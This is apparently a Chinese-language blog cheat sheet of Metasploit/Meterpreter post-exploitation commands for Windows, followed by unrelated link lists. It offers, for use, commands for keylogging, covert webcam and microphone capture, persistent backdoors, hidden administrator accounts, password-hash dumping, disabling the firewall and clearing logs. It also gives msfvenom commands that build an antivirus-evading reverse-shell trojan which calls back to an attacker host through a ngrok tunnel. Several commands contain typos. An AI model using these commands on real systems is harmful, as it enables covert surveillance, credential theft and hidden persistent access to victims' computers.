MSF基本使用
MSF

链接数据库
linux查找文件
find / -name dabase.yml
链接数据库 db_connect -y path/database.yml
db_status 查询数据库链接状态
payload: windows/x64/meterpreter/reverse_tcp 命令 (以下命令基于这个payload)
background 后台
sessions -i 1 返回
sessions -l 列出所有session
getwd 查看远程主机当前路径
getlwd 查看本地当前路径
search -d c:\\ -f *.doc 查找文件
upload 3.jpg c:\\1.jpg 上传文件
cat test.txt 查看文件
download c:\\phpstudy\\wke.doc /root/wke.doc 下载文件
route 查看路由
getpid 查看当前进程ID
execute -H -f calc.exe 执行文件
shell 开启shell
kill杀死进程
sysinfo 列出系统信息
进程迁移
ps 查看所有正在运行的进程
getuid 获取当前进程的用户
migrate 进程号 迁移进程 explorer.exe为桌面进程
开启键盘
keyscan_start 开启键盘记录 (需要有管理员权限)
keyscan_dump 显示记录的信息
keyscan_stop 关闭键盘记录
录制声音
record-mic -d 10 录制声音10秒
开启摄像头
webcam_list 查看摄像头连接
webcam_chat 开启摄像头
webcam_stop 关闭摄像头
webcam_snap开摄像头截屏
webcam_stream -i 1 -v true
桌面截屏
screenshot 截屏
开启VNC
run vnc 开启vnc
持久化访问
run metsvc 安装持久化访问
run metsvc -r 卸载安装
另一种方法
run persistence -X -i 5 -p 445 -r ip
创建 隐藏用户
net user hacker$ hacker /add 创建隐藏用户
net localgroup admininistators hacker$ /add 添加用户到管理员组
用getgui创建用户 并分配管理员权限 开启远程桌面
run getgui -u hacker -p hacker
获取凭证(用户名和密码)
run post/windows/gather/hashdump
判断是否为虚拟机
run post/windows/gather/checkvm
获取目标主机最近的操作
run post/windows/gather/dumplinks
获取系统安装程序个补丁
run post/windows/gather/enum_applications
通过shell关闭防火墙
shell
netsh adcfirewall ser allprofiles srate off
开启端口转发
portfwd add -l 1235 -r 10.10.10.129 -p 3389
这样就把远程主机的端口 映射到本机的1235端口
清除日志
clearev 清除日志
kali链接windows桌面
rdesktop -u admin -p admin ip:port
kali命令行与窗口化切换
init 3 命令行 5桌面
msfvenom生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=10001 -f exe > /root/config.exe
免杀木马
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=server.ngrok.cclport=00000 -f c
-p 指定payload,–e 编码器,-i 编码次数(次数越多免杀几率越高),-b 去除坏字符,lhost 服务器(ngrok默认为server.ngrok.cc) lport 隧道的端口,-f 生成指定格式(py、exe等,建议生成c)
木马的使用
设置tcp监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.128
ser lport 10001
run
远程主机运行木马
windows命令
net use 查看网络链接
net user admin 123456 /add 添加用户
net user admin 密码
net user admin /del
MSF基本使用的更多相关文章
- 免杀后门之MSF&Veil-Evasion的完美结合
本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装 ...
- 用MSF进行提权
在WEB渗透中当我们拿到webshell了,我们可以试试用MSF(metasploit)来进行提权,在MSF里meterpreter很强大的! 我们先用msfvenom生成一个EXE的木马后门. ms ...
- 现代软件工程 第七章 【MSF】练习与讨论
7.7 移山开发方法——比TFS敏捷更精简 几个软件学院的学生来请教阿超,同学们自豪地说,我们要用全套TFS敏捷开发模式开发项目! 真的?阿超不敢相信. 同学: 对!我们要用全5个工作项类型 – 任 ...
- [书目20160218]微软软件研发的奥秘:MSF精髓
目录 第一部分 解决方案交付基础 第1章 什么是MSF,它适合你吗 2 1.1 MSF的历史和起源 2 1.2 为什么是“框架” 3 1.3 MSF有何不同 5 1.4 MSF第四版的要素 5 1.5 ...
- msf命令全集
一.msfconsole ? 帮助菜单 back 从当前环境返回 banner 显示一个MSF banner cd 切换目录 color 颜色转换 connect 连接一个主机 e ...
- MSF溢出实战教程
1. 进入终端,开启MSF相关服务 2. 连接数据库 3. 主机扫描 发现如果有MS08_067漏洞,就可以继续渗透 4. 开始溢出 溢出成功的话 sessions -l 查看 ...
- MSF命令 收集
一.msfconsole ? 帮助菜单 back 从当前环境返回 banner 显示一个MSF banner cd 切换目录 color 颜色转换 connect 连接一个主机 e ...
- [转]软件开发过程(CMMI/RUP/XP/MSF)是与非?
经常看到和听到大家在争论敏捷过程.RUP和CMM 哪个软件开发过程更好或者哪个过程不好,各自都有理由.争论得不亦乐乎......实际上,没有十全十美的过程,也不存在更好的过程.关键是什么样的过程适合自 ...
- [转]比较 Rational Unified Process (RUP) 和 Microsoft Solutions Framework (MSF)
文档选项 将此页作为电子邮件发送 级别: 初级 Sandra Sergi Santos, 软件工程专家, IBM 2007 年 6 月 15 日 本文来自于 Rational Edge:Micro ...
- BT5之Metasploit[MSF]连接postgresql数据库
1,先查看postgresql的端口,默认是自动开启的,端口7337 . root@bt:~# netstat -tnpl |grep postgres tcp 0 0 1 ...
随机推荐
- 申请免费的ssl通配符证书
吐曹: 为了给我网站配置免费的htpps证书费死劲了, 折腾了一天, 找阿里阿里给我反馈的和我自己看的一样, 没什么用 我用Certbot生成证书以后怎么访问都是阿里的免费的hppts证书, 我都把阿 ...
- pytest(6)-Fixture(固件)
什么是固件 Fixture 翻译成中文即是固件的意思.它其实就是一些函数,会在执行测试方法/测试函数之前(或之后)加载运行它们,常见的如接口用例在请求接口前数据库的初始连接,和请求之后关闭数据库的操作 ...
- CSRF跨站请求伪造漏洞分析
CSRF 现在的网站都有利用CSRF令牌来防止CSRF,就是在请求包的字段加一个csrf的值,防止csrf,要想利用该漏洞,要和xss组合起来,利用xss获得该csrf值,在构造的请求中将csrf值加 ...
- 微服务从代码到k8s部署应有尽有系列(二、网关)
我们用一个系列来讲解从需求到上线.从代码到k8s部署.从日志到监控等各个方面的微服务完整实践. 整个项目使用了go-zero开发的微服务,基本包含了go-zero以及相关go-zero作者开发的一些中 ...
- linux 普通分区与lvm分区
安装linux系统时 有时候会提示lvm分区与标准分区 首先普及一下lvm分区:lvm是 logical volume manager (逻辑卷管理),linux环境下对磁盘分区的管理:他解决了安装系 ...
- 通过Dapr实现一个简单的基于.net的微服务电商系统(十八)——服务保护之多级缓存
很久没有更新dapr系列了.今天带来的是一个小的组件集成,通过多级缓存框架来实现对服务的缓存保护,依旧是一个简易的演示以及对其设计原理思路的讲解,欢迎大家转发留言和star 目录:一.通过Dapr实现 ...
- centos7云服务器安装nginx记录
nginx作为一个web和反向服务器,应用广泛,尤其适合学习c/c++的人进行使用学习,今天就对这个我听了很多的nginx进行了一次安装配置,主要是针对菜鸟教程中的安装引导进行的个人试验.主要的关注点 ...
- 【C# IO 操作 】IFormatProvider接口|IFormattable 接口 格式化接口
IFormatProvider接口获取一个满足要求的个格式化器. 方法 object? GetFormat(Type? formatType);GetFormat方法主要提供一个满足指定要求的对象,该 ...
- 60天shell脚本计划-12/12-渐入佳境
--作者:飞翔的小胖猪 --创建时间:2021年3月23日 --修改时间:2021年3月27日 说明 每日上传更新一个shell脚本,周期为60天.如有需求的读者可根据自己实际情况选用合适的脚本,也可 ...
- $_SERVER["QUERY_STRING"],$_SERVER["REQUEST_URI"],$_SERVER["SCRIPT_NAME"] 和$_SERVER["PHP_SELF"]
$_SERVER["QUERY_STRING"],$_SERVER["REQUEST_URI"],$_SERVER["SCRIPT_NAME" ...